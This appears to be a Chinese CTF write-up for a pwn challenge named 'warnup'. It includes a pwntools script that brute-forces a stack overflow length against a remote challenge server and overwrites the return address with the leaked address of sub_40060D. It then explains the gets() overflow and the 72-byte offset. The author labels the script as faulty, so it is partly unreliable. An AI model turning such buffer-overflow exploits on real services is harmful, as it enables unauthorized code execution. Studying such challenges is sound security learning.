warnup

没有附件,看来是盲打,先暴力枚举判断栈溢出长度。
但是我不太会。
错误脚本:

from pwn import *
r = remote('111.198.29.45',32964) 
flag = p64(int(r.recvuntil(">").split(":")[1].strip("\n>"),16)) 
def getbufferflow_length():
    i = 1
    while 1:
        try:
            sh = remote('111.198.29.45',32964)
            sh.recvuntil('WOW:\n')
            sh.send(i * 'a')
            output = sh.recv()
            sh.close()
            if not output.startswith('>'):
                return i - 1
            else:
                i += 1
        except EOFError:
            sh.close()
            return i - 1
length = getbufferflow_length()
r.sendline("A"*length + flag) 
print r.recvline()

网上找原题


image.png

拖进ida
image.png

image.png

由此可以看出,题目是打印出了sub_40060D的地址。我们需要覆盖到sub_40060D处,来获得flag。

看到了熟悉的gets函数,我们需要输入v5,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出。0x40+8=72


image.png

你可能感兴趣的:(warnup)